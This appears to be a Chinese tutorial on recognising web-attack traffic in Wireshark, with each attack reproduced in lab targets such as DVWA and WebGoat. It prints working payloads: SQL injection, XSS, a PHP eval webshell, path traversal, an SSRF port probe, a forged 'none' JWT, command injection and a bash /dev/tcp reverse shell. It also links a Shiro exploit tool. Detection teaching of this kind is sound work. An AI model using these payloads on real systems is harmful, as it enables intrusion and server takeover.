SQL 注入
攻击者在输入字段中插入恶意的 SQL 语句,实现对数据库的增删改查。
可以在 http 请求中通过查找 SQL 注入语句中的 union、select、sleep 等关键字来判断 SQL 注入的流量
dvwa SQL Injection low 为例
poc
1' and 1=2 union select 1,database() #
筛选目的 ip 为靶场服务器并且为 http 的流量
ip.dst==10.9.47.172 && http
找到 SQL 请求的 http 报文
可以看到 union
、 select
、 database
等 SQL 注入的关键字
id=1%27+and+1%3D2+union+select+1%2Cdatabase%28%29+%23
解码后即可看到原始 poc
XSS
XSS 跨站脚本攻击,是通过注入 JavaScript脚本来实现恶意弹窗、盗取 Cookie、传播蠕虫病毒等效果
XSS 使用 JavaScript 语句,可以同通过 JavaScript 中的
<script>
标签来判断 XSS 的流量
dvwa XSS(Reflected) low 为例
poc
<script>alert(/gjl/)</script>
wireshark 捕获流量
筛选目的 ip 为靶场服务器并且为 http 的流量
ip.dst==10.9.47.172 && http
其中有 <script>
标签关键字,<
等特殊符号被 url 编码
name=%3Cscript%3Ealert%28%2Fgjl%2F%29%3C%2Fscript%3E
文件上传
文件上传主要靠上传文件木马获取 webshell。如 PHP 中通常上传 .php 文件后缀一句话木马
判断其流量特征时,可以观察文件名中有没有 php 后缀字样,也可以看文件内容中有没有类似
eval
的关键字、危险函数等
dvwa File Upload low 为例
上传文件内容为 <?php @eval($_REQUEST[777]);?>
的 1.php 一句话木马文件
捕获流量,并筛选
可以根据文件名中的 php、文件内容中的危险函数来判断非法的文件上传
如果上传的图片马无法通过后缀查看,可以查看文件内容来判断是否为恶意的文件上传
文件包含
被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。攻击者可以上传恶意的路径来实现访问解析服务器的其他文件,或者远程访问执行。
一般包含配合一句话木马文件获取 Webshell,文件包含的流量特征是请求包中有非服务器允许访问的文件路径,或者文件路径中出现
data://
、ftp://
等协议或者目录穿越的关键字../../
等
dvwa File Inclusion low 为例
poc
http://10.9.47.172/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
wireshark 捕获流量
服务器正常只允许访问 file1.php、file2.php、file3.php 而报文中请求的其他的文件路径
文件读取
任意文件读取漏洞由于对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件
与文件包含的区别是文件读取无法解析执行文件,只能读取文件的内容
跟文件包含的流量特征类似,请求访问的文件地址中出现
C://
、../../
等关键字或者其他非服务器允许访问的文件路径
SSRF
SSRF 是一种由攻击者发起的伪造请求(一般是绝对路径),由服务器发送请求的一种攻击。
判断 SSRF 的流量特征时,可以通过协议、请求的资源地址来判断是否为攻击。
攻击者可以使用
file
协议访问文件资源,http://127.0.0.1:3306
探测本地端口,也可以使用 SSRF 来访问内网 ip 进行过攻击
靶场 ssrf_curl.php 源码
<?php // ssrf_curl.php if(isset($_REQUEST['url'])){ $link = $_REQUEST['url']; $fileName = './curled/'.time().".txt"; $curlObj = curl_init($link); $fp = fopen($fileName,'w'); curl_setopt($curlObj,CURLOPT_FILE,$fp); curl_setopt($curlObj,CURLOPT_HEADER,0); curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE); curl_exec($curlObj); curl_close($curlObj); fclose($fp); if(getimagesize($fileName)){ header("Content-Type:image/png"); } $fp = fopen($fileName,'r'); $result = fread($fp,filesize($fileName)); fclose($fp); echo $result; }else{ echo "?url=[url]"; } ?>
poc
http://127.0.0.1:3306
有回显,3306 端口开启
wireshark 捕获、过滤流量
捕获到访问本地 3306 端口的流量
Shiro 反序列化
将 exp 经序列化 => 对称加密 => base64 编码存储到 Cookie 中,比正常的 Cookie 值要长的多
靶场搭建、复现详细过程
https://blog.csdn.net/weixin_51559599/article/details/134876975?spm=1001.2014.3001.5502
复现
访问 kali 的 ip,点击登录
当登陆页面有 remember Me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞
shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包
发现请求包中有 remember me 字段,返回包中有
Set-Cookie:rememberMe=deleteMe 字段,判断其为 shiro
下载漏洞利用程序
链接:https://pan.baidu.com/s/1nyVfDzqnLn1zACDh2ws-jg?pwd=tzbm
提取码:tzbm
启动工具
java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar
检测目标中输入 shiro 登录的 url,依次点击爆破密钥,爆破利用链,成功爆破
此时可以使用如命令执行等攻击模块
shiro 反序列化攻击的流量特征
在 shiro 攻击程序执行命令时使用 Wireshark 抓包
筛选目的 ip 为 kali 的数据包
ip.dst==10.9.47.221
找到 http 请求报文,shiro 攻击的特征是有超长的 rememberMe 字段,正常数据 Cookie 不会有这么长
base64 解码>解密>反序列化后为利用链的 exp
rememberMe=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
JWT
JWT 是 Token 的一种,针对 JWT 的攻击,可以通过 Header 中的算法类型是否被替换成
none
来绕过 JWT 验证或者 Payload 中是否有恶意请求进行判断
JWT 详解
https://blog.csdn.net/weixin_51559599/article/details/134860478?spm=1001.2014.3001.5502
以 WEBGOAT 中的第 7 关为例(上面链接有详细通关过程)
POC
eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTcwMjExMzQxOSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
点击付款、抓包
替换 JWT
成功利用漏洞
使用 Wireshark 捕获流量并过滤
对抓取的流量解码以 .
为分隔符,将两部分使用 base64 解码
eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTcwMjExMzQxOSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.
可以看到加密算法被替换成了 none
,JWT 中第三部分签名失效,攻击者可修改请求
暴力破解
暴力破解的流量特征是有大量尝试登录的数据包
dvwa Brute Force low 为例
登录,抓包,发送到 Intruder,将密码添加 $
爆破密码
wireshark 过滤流量包,发现大量不同 password 值的请求登陆数据包
命令执行
攻击者输入的命令未经校验,传输到服务器造成命令执行
可以通过命令执行中的
cmd
、whoami
等关键字作为流量特征来判断命令执行的流量
dvwa Command Injection low 为例
poc
|whoami
wireshark 捕获并过滤流量
可以看到 whoami
命令,在实际攻击中会出现许多不同的命令执行语句
反弹 shell
准备一台 kali、一台 Linux
kali 开启 nc 监听
nc -lvvp 8888
Linux 连接
bash -c 'bash -i >& /dev/tcp/10.9.47.221/8888 0>&1'
命令执行
查看 wireshark 捕获的流量并过滤
可以看到大量的 TCP 数据流
点开详细的数据包还可以看见攻击者执行的命令